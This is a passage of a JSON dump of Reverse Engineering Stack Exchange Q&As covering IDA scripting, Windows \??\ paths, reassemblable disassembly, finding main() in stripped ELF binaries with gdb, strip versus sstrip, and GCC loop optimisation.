+ i, nop[i])\n\n\n#searches assembly command by its text\n#generally bad idea, but should work\n#start and end means search area boundaries\n#Code should be recognized by IDA as code before running the function\ndef dynamic_search_text_and_nopify(asmline, start, end):\n    for h in idautils.Heads(start, end):\n        disasm = idc.GetDisasm(h)\n        if asmline == disasm:\n            dynamic_nopify_arm(h)\n</code></pre>\n"
    },
    {
        "Id": "3798",
        "CreationDate": "2014-03-05T20:16:28.183",
        "Body": "<p>I often come across paths similar to <code>\\??\\C:\\Windows</code> when looking in memory.  I have been unable to understand why the double '<code>?</code>' is appended to some paths. My google-fu is failing me with the ability to find a reason for the double '<code>?</code>'.Any assistance would be appreciated.</p>\n",
        "Title": "\\??\\C:\\ Question Marks in Paths",
        "Tags": "|windows|memory|",
        "Answer": "<p>I have been searching for an answer to this question for a while and I know this question is years old but on the off chance someone else comes across this question I will leave my response here. </p>\n\n<p>The above answer is referring to non-canonicalized device paths where as you are asking about <code>\\??\\</code> not <code>\\\\?\\</code> there may only be a small difference in the question but the answer is completely different.</p>\n\n<p><code>\\??</code> is a \"fake\" prefix which refers to per-user Dos devices, so here is an image that will hopefully help you understand what the process is: <a href=\"https://i.stack.imgur.com/LOeeO.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/LOeeO.png\" alt=\"enter image description here\"></a></p>\n\n<p>Some definitions that may help you understand:</p>\n\n<ul>\n<li>\\Device - Default location for kernel driver Device Objects </li>\n<li>\\GLOBAL?? - System location for symbolic links to devices including drive letters</li>\n<li>\\BaseNamedObjects - System location for named resources</li>\n<li>\\Sessions\\X - Directory for the login session X </li>\n<li>\\Session\\0\\DosDevices -\nDirectory for the \u201cDos Devices\u201d for each logged in  user.</li>\n</ul>\n"
    },
    {
        "Id": "3800",
        "CreationDate": "2014-03-06T00:50:44.160",
        "Body": "<p>I am struggling on this problem for around three months:</p>\n\n<p><em>How to use disassemblers (IDA Pro and others...) to generate re-assemblable asm code and assemble it back</em></p>\n\n<p>My experience is that:</p>\n\n<ol>\n<li><p>There is NO tool that can generate re-assemblable asm code on 32-bit x86.</p></li>\n<li><p>You need to adjust/heuristically modify the asm code created by IDA Pro to make it re-assemblable.</p></li>\n<li><p>It is doable to <strong>automatically</strong> adjust/heuristically modify process on <strong>benign program</strong> (one without obfuscation).</p></li>\n<li><p>It is very tedious, and VS compiled PE binary is much more complex than GCC compiled ELF binary.</p></li>\n</ol>\n\n<p>So my questions are:</p>\n\n<ol>\n<li><p>Why there are not any disassemblers that can generate re-assemblable asm code targeting on <strong>benign program</strong> (one without obfuscation) ?</p></li>\n<li><p>If I want to implement such a tool (without the help of IDA Pro, sketching from the beginning), is it possible?</p></li>\n<li><p>Are there any other concerns related to this that I may have missed?</p></li>\n</ol>\n",
        "Title": "Why there are not any disassemblers that can generate re-assemblable asm code?",
        "Tags": "|ida|disassembly|x86|disassemblers|reassembly|",
        "Answer": "<p>By far, the established method for binary rewriting is <strong>dynamic</strong> rewriting where the binary is rewritten while being run on real inputs. Think of instrumentation tools like <strong>PIN</strong>, <strong>DynamoRIO</strong> and <strong>Dyninst</strong> and also binary translators like <strong>qemu</strong>. </p>\n\n<p>Static rewriting tools have a fundamental challenge compared to dynamic rewriting which is precise Control Flow Graph recovery. That is, for each basic block in the binary we need to know the set of possible targets of its jump instruction. The difficulty is that binaries have many <strong>indirect</strong> jump instructions. For example, if we face a basic block that ends with <code>bx r3</code> then we need to have a <em>precise</em> and <em>reliable</em> Value Set Analysis (VSA) that can tell us the possible values that <code>r3</code> can take at run-time. Unfortunately, such analysis is, generally, undecidable. However, well-behaving compilers produce binaries that are <em>structured</em> somehow which is a fact that can be useful to a large extent. </p>\n\n<p>Note that the solving CFG recovery problem would allow us to solve the code/data separation problem as a by product. That is, recursive descent disassembly would allow us in that case to perfectly seperate code from data in the code byte stream.</p>\n\n<p>I can refer here to the following paper introduced in last year's USENIX Security:</p>\n\n<blockquote>\n  <p>Shuai Wang, Pei Wang, Dinghao Wu:\n  <strong>Reassembleable Disassembling</strong>. USENIX Security 2015: 627-642</p>\n</blockquote>\n\n<p>Their tool  <code>Uroboros</code> is <strike>not</strike> open source. It's based on iterative linear sweep disassembly using <strong>objdump</strong>. The disassembly technique itself is discussed in an earlier paper. Nonetheless, it provides interesting techniques for static binary rewriting that actually works (or at least that is their claim). They even rewrite the same binary multiple times without breaking it. Finally, note that static binary rewriting is largely inapplicable to binaries with run-time code generation.</p>\n\n<p><strong>Update</strong>:</p>\n\n<p>It seems like many of the shortcomings of <code>Uroboros</code> has been addressed in  <code>Ramblr</code> which is discussed here:</p>\n\n<blockquote>\n  <p>Wang et. al. \"<strong>Ramblr: Making Reassembly Great Again</strong>\", Proceedings of the Network and Distributed System Security Symposium (NDSS'17). 2017</p>\n</blockquote>\n\n<p>Particularly, they mention that their reassembled binaries have no execution overhead or size expansion.</p>\n"
    },
    {
        "Id": "3806",
        "CreationDate": "2014-03-06T12:44:34.993",
        "Body": "<p>Do anyone know about an automatic way to transfer function names from one IDA file to another while:</p>\n\n<ol>\n<li>First IDA file is based on version 1 of the executable.</li>\n<li>Second IDA file is based on the updated, version 2, of the same executable.</li>\n</ol>\n\n<p>I'm aware of Zynamics BinDiff. I'm looking for alternatives.</p>\n",
        "Title": "Transfer function names from one IDA DB to another",
        "Tags": "|ida|code-modeling|",
        "Answer": "<p>You can use <a href=\"http://mynav.googlecode.com\" rel=\"nofollow\">MyNav</a>. In <a href=\"https://www.hex-rays.com/contests/2010/MyNav/tutorials/exportimport.htm\" rel=\"nofollow\">this video</a> you can check how it can be done with this tool.</p>\n"
    },
    {
        "Id": "3808",
        "CreationDate": "2014-03-06T13:20:10.840",
        "Body": "<p>Are there tools that would create:  </p>\n\n<ul>\n<li>UML Structural Diagrams from Source Code.  </li>\n<li>UML Behavioral Diagrams from Binary executing on a arm / x86 system.<br>\n  Sources would be in C &amp;/ C++ &amp;/ Python.</li>\n</ul>\n\n<p>Such tools would boost productivity while re-engineering (understanding existing software and modifying it.) on a Linux platform.</p>\n",
        "Title": "Re-engineering to create UML Diagrams from Source and Binary",
        "Tags": "|tools|static-analysis|dynamic-analysis|processhacker|",
        "Answer": "<p>Just about all the major tools will take source files / directories and produce namespace (a Package), class and interface definitions, attributes, properties, and operation signatures. For a variety of languages.</p>\n\n<p>However, not all dependencies nor all relationships between classes will be discovered as operation definition bodies are not parsed, thus Activity model of an operation cannot be derived ( nor its Activity Diagram ).</p>\n\n<p>Microsoft in Visual Studio 2010 ( I believe, through to 2015 ) included an Operation to Sequence Diagram generator for any operation selected in the editor. It has since been dropped, probably due to it being restricted to managed languages.</p>\n\n<p>To derive State Machine model / diagram would also need to be cognitive of the coding convention originally employed in the source to be meaningful.  Perhaps this is an area that Machine Learning might have impact.</p>\n\n<p>Collaboration Diagrams have been dropped from UML.</p>\n\n<p>I'm suprised that parsing op bodies has not been up taken by vendors, EA, MagicDraw, not even Eclipse Papyrus for Java.</p>\n\n<p>Hope that helps,\nRegards</p>\n"
    },
    {
        "Id": "3811",
        "CreationDate": "2014-03-06T16:54:46.473",
        "Body": "<p>I have the following disassembly:</p>\n\n<pre><code>mov BL, [EAX]\ninc EAX\nmov [EDX], BL\ninc EDX\n</code></pre>\n\n<p>I could see this being the result of:</p>\n\n<pre><code>uint8_t foo = bar;\n++bar;\nuint8_t tmp = foo;\n++foo;\n</code></pre>\n\n<p>But this assumes C99. Is there some other C construct that could produce the code above?</p>\n",
        "Title": "What C construct could generate this assembly sequence?",
        "Tags": "|disassembly|x86|static-analysis|c|",
        "Answer": "<p>If you just want the answer without the explanation, scroll to the bottom of this post.</p>\n\n<hr>\n\n<p>The <code>[register]</code> notation stands for \"<em>take the value stored in <code>register</code> and interpret it as an address</em>\". If the addressed entity size is ambiguous, it can be clarified using <code>DWORD PTR [register]</code> for <code>DWORD</code>-sized pointers (and similarly for other pointer sizes).</p>\n\n<blockquote>\n<pre><code>mov BL, [EAX]\n</code></pre>\n</blockquote>\n\n<p>This line treats the value in the <code>EAX</code> register as a pointer to a single byte (the size of <code>BL</code>), reads a byte from that address and stores it in <code>BL</code>. </p>\n\n<blockquote>\n<pre><code>inc EAX\n</code></pre>\n</blockquote>\n\n<p>This line increments the value of <code>EAX</code>, effectively advancing to the next byte.</p>\n\n<blockquote>\n<pre><code>mov [EDX], BL\n</code></pre>\n</blockquote>\n\n<p>This line treats the value in the <code>EDX</code> register as a pointer to a single byte (again, the size of the other operand tells us this), and writes a byte that is stored in <code>BL</code> to that address.</p>\n\n<blockquote>\n<pre><code>inc EDX\n</code></pre>\n</blockquote>\n\n<p>This line increments the value of <code>EDX</code>, advancing to the next byte.</p>\n\n<p>With all this information, we can see that this sequence basically copies a byte from one address to another. Most likely it is used in a loop such as string copy or memory copy. If there's a line similar to <code>test BL, BL</code> afterwards to determine if the copied byte was NULL, it's most likely a string copy; if there's a length/address check instead - it's probably a memory/buffer copy that works on a specified amount of bytes.</p>\n\n<hr>\n\n<p>In C parlance, this can be represented as:</p>\n\n<pre><code>char t; // BL\nchar *src; // EAX\nchar *dst; // EDX\n\n// initialize src and dst here\n\nt = *src;\n++src;\n*dst = t;\n++dst;\n</code></pre>\n\n<p>Or, as K&amp;R put it ever so tersely:</p>\n\n<pre><code>*dst++ = *src++;\n</code></pre>\n"
    },
    {
        "Id": "3815",
        "CreationDate": "2014-03-07T06:55:02.097",
        "Body": "<p>I'm a newbie and just got into RE.\nI got a ELF 64-bit LSB executable, x86-64. I'm trying to reverse it.\nFirst I tried to set a break point on line 1 using</p>\n\n<pre><code>gdb ./filename\nbreak 1\n</code></pre>\n\n<p>The gdb says</p>\n\n<pre><code>No symbol table is loaded.  Use the \"file\" command.\n</code></pre>\n\n<p>OKie so gave out file command</p>\n\n<pre><code>(gdb) file filename\nReading symbols from /media/Disk/filename...(no debugging symbols found)...done.\n</code></pre>\n\n<p>How could a set a break point to see the execution..?</p>\n",
        "Title": "Reversing ELF 64-bit LSB executable, x86-64 ,gdb",
        "Tags": "|gdb|elf|x86-64|",
        "Answer": "<h2>Getting the entrypoint</h2>\n\n<p>If you have no useful symbol, you first need to find the entrypoint of the executable. There are several ways to do it (depending on the tools you have or the tools you like the best):</p>\n\n<ol>\n<li><p>Using <code>readelf</code></p>\n\n<pre><code>$&gt; readelf -h /bin/ls\nELF Header:\nMagic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 \nClass:                             ELF64\nData:                              2's complement, little endian\nVersion:                           1 (current)\nOS/ABI:                            UNIX - System V\nABI Version:                       0\nType:                              EXEC (Executable file)\nMachine:                           Advanced Micro Devices X86-64\nVersion:                           0x1\nEntry point address:               0x40489c\nStart of program headers:          64 (bytes into file)\nStart of section headers:          108264 (bytes into file)\nFlags:                             0x0\nSize of this header:               64 (bytes)\nSize of program headers:           56 (bytes)\nNumber of program headers:         9\nSize of section headers:           64 (bytes)\nNumber of section headers:         27\nSection header string table index: 26\n</code></pre>\n\n<p>So, the entrypoint address is <code>0x40489c</code>.</p></li>\n<li><p>Using <code>objdump</code></p>\n\n<pre><code>$&gt; objdump -f /bin/ls\n\n/bin/ls:     file format elf64-x86-64\narchitecture: i386:x86-64, flags 0x00000112:\nEXEC_P, HAS_SYMS, D_PAGED\nstart address 0x000000000040489c\n</code></pre>\n\n<p>Again, the entrypoint is <code>0x000000000040489c</code>.</p></li>\n<li><p>Using <code>gdb</code></p>\n\n<pre><code>$&gt; gdb /bin/ls\nGNU gdb (GDB) 7.6.2 (Debian 7.6.2-1)\n...\nReading symbols from /bin/ls...(no debugging symbols found)...done.\n(gdb) info files\nSymbols from \"/bin/ls\".\nLocal exec file:\n    `/bin/ls', file type elf64-x86-64.\n    Entry point: 0x40489c\n    0x0000000000400238 - 0x0000000000400254 is .interp\n    0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag\n    0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id\n    0x0000000000400298 - 0x0000000000400300 is .gnu.hash\n    0x0000000000400300 - 0x0000000000400f18 is .dynsym\n    0x0000000000400f18 - 0x00000000004014ab is .dynstr\n    0x00000000004014ac - 0x00000000004015ae is .gnu.version\n    0x00000000004015b0 - 0x0000000000401640 is .gnu.version_r\n    0x0000000000401640 - 0x00000000004016e8 is .rela.dyn\n    0x00000000004016e8 - 0x0000000000402168 is .rela.plt\n    0x0000000000402168 - 0x0000000000402182 is .init\n    0x0000000000402190 - 0x00000000004028a0 is .plt\n    0x00000000004028a0 - 0x0000000000411f0a is .text\n    0x0000000000411f0c - 0x0000000000411f15 is .fini\n    0x0000000000411f20 - 0x000000000041701c is .rodata\n    0x000000000041701c - 0x0000000000417748 is .eh_frame_hdr\n    ...\n</code></pre>\n\n<p>Entrypoint is still <code>0x40489c</code>.</p></li>\n</ol>\n\n<h2>Locating the <code>main</code> procedure</h2>\n\n<p>Once the entrypoint is known, you can set a breakpoint on it and start looking for the <code>main</code> procedure. Because, you have to know that all the programs will start by a <code>_start()</code> procedure in charge of initializing the memory for the process and loading the dynamic libraries. In fact, this first procedure is a convention in the Unix World.</p>\n\n<p>What exactly does this initialization procedure is quite tedious to follow and, most of the time, of no interest at all to understand your program. The <code>main()</code> procedure will only start after all the memory is set-up and ready to go. </p>\n\n<p>Lets see how to do that (I assume that the executable has been compile with <code>gcc</code>):</p>\n\n<pre><code>(gdb) break *0x40489c\nBreakpoint 1 at 0x40489c\n(gdb) run\nStarting program: /bin/ls \nwarning: Could not load shared library symbols for linux-vdso.so.1.\n\nBreakpoint 1, 0x000000000040489c in ?? ()\n</code></pre>\n\n<p>Okay, so we stopped at the very beginning of the executable. At this time, nothing is ready, everything need to be set-up. Let see what are the first steps of the executable:</p>\n\n<pre><code>(gdb) disas 0x40489c,+50\nDump of assembler code from 0x40489c to 0x4048ce:\n=&gt; 0x000000000040489c:  xor    %ebp,%ebp\n   0x000000000040489e:  mov    %rdx,%r9\n   0x00000000004048a1:  pop    %rsi\n   0x00000000004048a2:  mov    %rsp,%rdx\n   0x00000000004048a5:  and    $0xfffffffffffffff0,%rsp\n   0x00000000004048a9:  push   %rax\n   0x00000000004048aa:  push   %rsp\n   0x00000000004048ab:  mov    $0x411ee0,%r8\n   0x00000000004048b2:  mov    $0x411e50,%rcx\n   0x00000000004048b9:  mov    $0x4028c0,%rdi\n   0x00000000004048c0:  callq  0x4024f0 &lt;__libc_start_main@plt&gt;\n   0x00000000004048c5:  hlt    \n   0x00000000004048c6:  nopw   %cs:0x0(%rax,%rax,1)\nEnd of assembler dump.\n</code></pre>\n\n<p>What follow the <code>hlt</code> is just rubbish obtained because of the linear sweep performed by <code>gdb</code>. So, just ignore it. What is relevant is the fact that we are calling <code>__libc_start_main()</code> (I won't comment on the <code>@plt</code> because it would drag us out of the scope of the question). </p>\n\n<p>In fact, the procedure <code>__libc_start_main()</code> initialize the memory for a process running with the <code>libc</code> dynamic library. And, once done, jump to the procedure located in <code>%rdi</code> (which usually is the <code>main()</code> procedure). See the following picture to have a global view of what does the <code>__libc_start_main()</code> procedure [<a href=\"http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html\" rel=\"noreferrer\">1</a>]</p>\n\n<p><a href=\"https://i.stack.imgur.com/4S3MC.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/4S3MC.png\" alt=\"ELF complete callgraph\"></a></p>\n\n<p>So, indeed, the address of the <code>main()</code> procedure is at <code>0x4028c0</code>. Let disassemble a few instructions at this address:</p>\n\n<pre><code>(gdb) x /10i 0x4028c0\n   0x4028c0:    push   %r15\n   0x4028c2:    push   %r14\n   0x4028c4:    push   %r13\n   0x4028c6:    push   %r12\n   0x4028c8:    push   %rbp\n   0x4028c9:    mov    %rsi,%rbp\n   0x4028cc:    push   %rbx\n   0x4028cd:    mov    %edi,%ebx\n   0x4028cf:    sub    $0x388,%rsp\n   0x4028d6:    mov    (%rsi),%rdi\n   ...\n</code></pre>\n\n<p>And, if you look at it, this is indeed the <code>main()</code> procedure. So, this where to really start the analysis.</p>\n\n<h2>Words of warning</h2>\n\n<p>Even if this way of looking for the <code>main()</code> procedure will work in most the cases. You have to know that we strongly rely on the following hypothesis:</p>\n\n<ol>\n<li><p>Programs written in pure assembly language and compiled with <code>gcc -nostdlib</code> (or directly with <code>gas</code> or <code>nasm</code>) won't have a first call to <code>__libc_start_main()</code> and will start straight from the entrypoint. Therefore, for these programs, the <code>_start()</code> procedure is the <code>main()</code> procedure. In fact, it is important to understand that the <code>main()</code> procedure is just a convention introduced by the C language as the first function (written by the programmer) to be run in the program. Of course, you can find this convention replicated in many other languages such as Java, C++, and others. But, all these languages derive from C.</p></li>\n<li><p>We also strongly rely on a knowledge on the way <code>__libc_start_main()</code> works. And, how this procedure has been designed by the <code>gcc</code> team. So, if the program you are analyzing has been compiled with another compiler, you may have to investigate a bit further about this compiler and how it perform the set-up of the memory before running the <code>main()</code> procedure.</p></li>\n</ol>\n\n<p>Anyway, you should now be able to track down a program with no symbol at all if you read this answer carefully.</p>\n\n<p>Finally, you can find an excellent summary about the starting of an executable by reading \"<a href=\"http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html\" rel=\"noreferrer\">Linux x86 Program Start Up or - How the heck do we get to <code>main()</code>?</a>\" by Patrick Horgan.</p>\n"
    },
    {
        "Id": "3823",
        "CreationDate": "2014-03-07T21:45:15.150",
        "Body": "<p>I want to find how can I identify calls to shared libraries in GDB only. On a stripped binary, I cannot found the dynamic symbol table:</p>\n\n<pre><code>$&gt; objdump -tT crackme-01\n\ncrackme-01:     file format elf32-i386\n\nobjdump: crackme-01: not a dynamic object\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\nno symbols\n</code></pre>\n\n<p>But still the dynamic library resolution is present, for instance before the call to <code>strcmp</code>:</p>\n\n<pre><code>0x08048330 in ?? ()\n...\n0xb7ff2420 in _dl_runtime_resolve () from /lib/ld-linux.so.2\n0xb7fec020 in _dl_fixup () from /lib/ld-linux.so.2\n0xb7ff6678 in __x86.get_pc_thunk.bx () from /lib/ld-linux.so.2\n0xb7fec033 in _dl_fixup () from /lib/ld-linux.so.2\n0xb7fe7600 in _dl_lookup_symbol_x () from /lib/ld-linux.so.2\n0xb7fe6df9 in do_lookup_x () from /lib/ld-linux.so.2\n0xb7fedb70 in _dl_name_match_p () from /lib/ld-linux.so.2\n...\n0xb7ff5d74 in strcmp () from /lib/ld-linux.so.2\n</code></pre>\n\n<p>My question is how the symbol table is hidden from <code>readelf</code> but still be used during execution ?</p>\n",
        "Title": "No dynamic symbol table but resolution of method from shared libraries is working",
        "Tags": "|elf|",
        "Answer": "<p>In fact, they probably used the <code>sstrip</code> software from the package <a href=\"http://www.muppetlabs.com/~breadbox/software/elfkickers.html\" rel=\"nofollow\">ElfKicker</a>. According to the <code>sstrip</code> <code>README</code> file:</p>\n\n<blockquote>\n  <p>sstrip is a small utility that removes the contents at the end of an\n  ELF file that are not part of the program's memory image.</p>\n  \n  <p>Most ELF executables are built with both a program header table and a\n  section header table. However, only the former is required in order\n  for the OS to load, link and execute a program. sstrip attempts to\n  extract the ELF header, the program header table, and its contents,\n  leaving everything else in the bit bucket. It can only remove parts of\n  the file that occur at the end, after the parts to be saved. However,\n  this almost always includes the section header table, along with a few\n  other sections that are not involved in program loading and execution.</p>\n  \n  <p>It should be noted that most programs that work with ELF files are\n  dependent on the section header table as an index to the file's\n  contents. Thus, utilities such as gdb and objdump will often have\n  limited functionality when working with an executable with no section\n  header table. Some other utilities may refuse to work with them at\n  all.</p>\n</blockquote>\n\n<p>In fact, <code>sstrip</code> remove all section information from the executable and keep the executable still usable.</p>\n\n<p>But let see the different levels is strip that we can reach.</p>\n\n<h2>No stripping</h2>\n\n<p>Let consider a program (similar to the one looked at in the question) with no stripping a all. </p>\n\n<pre><code>$&gt; objdump -tT ./crackme\n\n./crackme:     file format elf32-i386\n\nSYMBOL TABLE:\n08048134 l    d  .interp            00000000              .interp\n08048148 l    d  .note.ABI-tag      00000000              .note.ABI-tag\n08048168 l    d  .note.gnu.build-id 00000000              .note.gnu.build-id\n0804818c l    d  .gnu.hash          00000000              .gnu.hash\n080481ac l    d  .dynsym            00000000              .dynsym\n0804822c l    d  .dynstr            00000000              .dynstr\n...\n080497dc g       .bss               00000000              _end\n08048390 g     F .text              00000000              _start\n080485f8 g     O .rodata            00000004              _fp_hw\n080497d8 g       .bss               00000000              __bss_start\n08048490 g     F .text              00000000              main\n00000000  w      *UND*              00000000              _Jv_RegisterClasses\n080497d8 g     O .data              00000000              .hidden __TMC_END__\n00000000  w      *UND*              00000000              _ITM_registerTMCloneTable\n080482f4 g     F .init              00000000              _init\n\nDYNAMIC SYMBOL TABLE:\n00000000      DF *UND*              00000000  GLIBC_2.0   strcmp\n00000000      DF *UND*              00000000  GLIBC_2.0   read\n00000000      DF *UND*              00000000  GLIBC_2.0   printf\n00000000      DF *UND*              00000000  GLIBC_2.0   system\n00000000  w   D  *UND*              00000000              __gmon_start__\n00000000      DF *UND*              00000000  GLIBC_2.0   __libc_start_main\n080485fc g    DO .rodata            00000004  Base        _IO_stdin_used\n</code></pre>\n\n<h2>Stripping with <code>strip</code></h2>\n\n<pre><code>$&gt; strip ./crackme-striped\n$&gt; objdump -tT ./crackme-striped \n\n./crackme-striped:     file format elf32-i386\n\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\n00000000     DF *UND*   00000000  GLIBC_2.0   strcmp\n00000000     DF *UND*   00000000  GLIBC_2.0   read\n00000000     DF *UND*   00000000  GLIBC_2.0   printf\n00000000     DF *UND*   00000000  GLIBC_2.0   system\n00000000  w  D  *UND*   00000000              __gmon_start__\n00000000     DF *UND*   00000000  GLIBC_2.0   __libc_start_main\n080485fc g   DO .rodata 00000004  Base        _IO_stdin_used\n</code></pre>\n\n<p>As you see, the dynamic symbols are still here when <code>strip</code> is applied. The rest is just removed cleanly.</p>\n\n<h2>Stripping with <code>sstrip</code></h2>\n\n<p>Finally, lets take a look at what happen when using <code>sstrip</code>.</p>\n\n<pre><code>$&gt; sstrip ./crackme-sstriped\n$&gt; objdump -tT ./crackme-sstriped \n\n./crackme-sstriped:     file format elf32-i386\n\nobjdump: ./crackme-sstriped: not a dynamic object\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\nno symbols\n</code></pre>\n\n<p>As you can notice, all symbols, including dynamic symbols have been removed. In fact, all the symbols pointing towards the PLT are removed and addresses are left as static addresses. Here is an example with the <code>_start</code> procedure preamble, first all the symbols:</p>\n\n<pre><code> 0x8048390 &lt;_start&gt;:    xor    %ebp,%ebp\n 0x8048392 &lt;_start+2&gt;:  pop    %esi\n 0x8048393 &lt;_start+3&gt;:  mov    %esp,%ecx\n 0x8048395 &lt;_start+5&gt;:  and    $0xfffffff0,%esp\n 0x8048398 &lt;_start+8&gt;:  push   %eax\n 0x8048399 &lt;_start+9&gt;:  push   %esp\n 0x804839a &lt;_start+10&gt;: push   %edx\n 0x804839b &lt;_start+11&gt;: push   $0x80485e0\n 0x80483a0 &lt;_start+16&gt;: push   $0x8048570\n 0x80483a5 &lt;_start+21&gt;: push   %ecx\n 0x80483a6 &lt;_start+22&gt;: push   %esi\n 0x80483a7 &lt;_start+23&gt;: push   $0x8048490\n 0x80483ac &lt;_start+28&gt;: call   0x8048380 &lt;__libc_start_main@plt&gt;\n 0x80483b1 &lt;_start+33&gt;: hlt    \n</code></pre>\n\n<p>And, then <code>strip</code>ep:</p>\n\n<pre><code>0x8048390:  xor    %ebp,%ebp\n0x8048392:  pop    %esi\n0x8048393:  mov    %esp,%ecx\n0x8048395:  and    $0xfffffff0,%esp\n0x8048398:  push   %eax\n0x8048399:  push   %esp\n0x804839a:  push   %edx\n0x804839b:  push   $0x80485e0\n0x80483a0:  push   $0x8048570\n0x80483a5:  push   %ecx\n0x80483a6:  push   %esi\n0x80483a7:  push   $0x8048490\n0x80483ac:  call   0x8048380 &lt;__libc_start_main@plt&gt;\n0x80483b1:  hlt    \n</code></pre>\n\n<p>And, finally, the <code>sstrip</code> version:</p>\n\n<pre><code>0x8048390:  xor    %ebp,%ebp\n0x8048392:  pop    %esi\n0x8048393:  mov    %esp,%ecx\n0x8048395:  and    $0xfffffff0,%esp\n0x8048398:  push   %eax\n0x8048399:  push   %esp\n0x804839a:  push   %edx\n0x804839b:  push   $0x80485e0\n0x80483a0:  push   $0x8048570\n0x80483a5:  push   %ecx\n0x80483a6:  push   %esi\n0x80483a7:  push   $0x8048490\n0x80483ac:  call   0x8048380\n0x80483b1:  hlt    \n</code></pre>\n\n<p>Surprisingly the executable is still functional. Let's compare what ELF headers are left after <code>strip</code> and <code>sstrip</code> (as suggested Igor). First, after a <code>strip</code>:</p>\n\n<pre><code>$&gt; readelf -l crackme-striped \n\nElf file type is EXEC (Executable file)\nEntry point 0x8048390\nThere are 8 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 RWE 0x4\n  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 RWE 0x1\n      [Requesting program interpreter: /lib/ld-linux.so.2]\n  LOAD           0x000000 0x08048000 0x08048000 0x006b4 0x006b4 RWE 0x1000\n  LOAD           0x0006b4 0x080496b4 0x080496b4 0x00124 0x00128 RWE 0x1000\n  DYNAMIC        0x0006c0 0x080496c0 0x080496c0 0x000e8 0x000e8 RWE 0x4\n  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 RWE 0x4\n  GNU_EH_FRAME   0x000600 0x08048600 0x08048600 0x00024 0x00024 RWE 0x4\n  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10\n\n Section to Segment mapping:\n   Segment Sections...\n   00     \n   01     .interp \n   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame \n   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss \n   04     .dynamic \n   05     .note.ABI-tag .note.gnu.build-id \n   06     .eh_frame_hdr \n   07     \n</code></pre>\n\n<p>And, then the version that went through with <code>sstrip</code>:</p>\n\n<pre><code>$&gt; readelf -l ./crackme-sstriped \n\nElf file type is EXEC (Executable file)\nEntry point 0x8048390\nThere are 8 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 RWE 0x4\n  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 RWE 0x1\n      [Requesting program interpreter: /lib/ld-linux.so.2]\n  LOAD           0x000000 0x08048000 0x08048000 0x006b4 0x006b4 RWE 0x1000\n  LOAD           0x0006b4 0x080496b4 0x080496b4 0x00124 0x00128 RWE 0x1000\n  DYNAMIC        0x0006c0 0x080496c0 0x080496c0 0x000e8 0x000e8 RWE 0x4\n  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 RWE 0x4\n  GNU_EH_FRAME   0x000600 0x08048600 0x08048600 0x00024 0x00024 RWE 0x4\n  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10\n</code></pre>\n\n<p>As you can see, the name of the sections have also been removed (as announced in README file).</p>\n\n<p>Note that, applying <code>sstrip</code> on an executable that went through <code>upx</code> render the final executable unusable (I tried).</p>\n"
    },
    {
        "Id": "3845",
        "CreationDate": "2014-03-11T01:16:10.523",
        "Body": "<p>I have been looking at some simple C code and the different output from GCC using different optimization levels.</p>\n\n<p><strong>C code</strong></p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nint main() {\n    int i = 0;\n\n    while(i&lt;10) {\n            printf(\"Hello\\n\");\n            i++;\n    }\n\n    i = 0;\n\n    while(i&lt;10) {\n            printf(\"i: %d\\n\", i);\n            i++;\n    }\n</code></pre>\n\n<p>}</p>\n\n<p>When I compile the code using <code>-Os</code> or <code>-O2</code> the first loop works a bit differently. It it decrements instead of incrementing, and it is in two different ways. I am wondering why it decrements instead of incrementing like in the code, and the the small difference between <code>-Os</code> and <code>-O2</code>.</p>\n\n<p><strong>-Os compiled</strong></p>\n\n<pre><code>0x400486 &lt;main+6&gt;       mov     edi,0x40068c\n0x40048b &lt;main+11&gt;      call    0x400450 &lt;puts@plt&gt;\n0x400490 &lt;main+16&gt;      dec     ebx\n0x400492 &lt;main+18&gt;      jne     0x400486 &lt;main+6&gt;\n</code></pre>\n\n<p><strong>-O2 compiled</strong></p>\n\n<pre><code>0x400490 &lt;main+16&gt;      mov    edi,0x40069c\n0x400495 &lt;main+21&gt;      call   0x400450 &lt;puts@plt&gt;\n0x40049a &lt;main+26&gt;      sub    ebx,0x1\n0x40049d &lt;main+29&gt;      jne    0x400490 &lt;main+16&gt; \n</code></pre>\n",
        "Title": "GCC Loop optimization",
        "Tags": "|disassembly|",
        "Answer": "<p>Because I can't comment, I'll try to fix some inaccuracies in pnak4j's answer.</p>\n\n<p><code>dec ebx</code> is really a 1-byte instruction (I don't know why it appears to be 2-bytes). <code>DEC</code> sets the <code>ZF</code> flag accordingly to the result of (<code>ebx-1</code>) when: zero or not zero. Then, <code>JNE</code> does the jump if not zero (<code>JNE</code>/<code>JNZ</code> are the same). <code>JMP</code> is not a conditional jump, therefore it would not make much sense after <code>CMP</code>/<code>TEST</code>. </p>\n"
    },
    {
        "Id": "3850",
        "CreationDate": "2014-03-11T10:45:24.523",
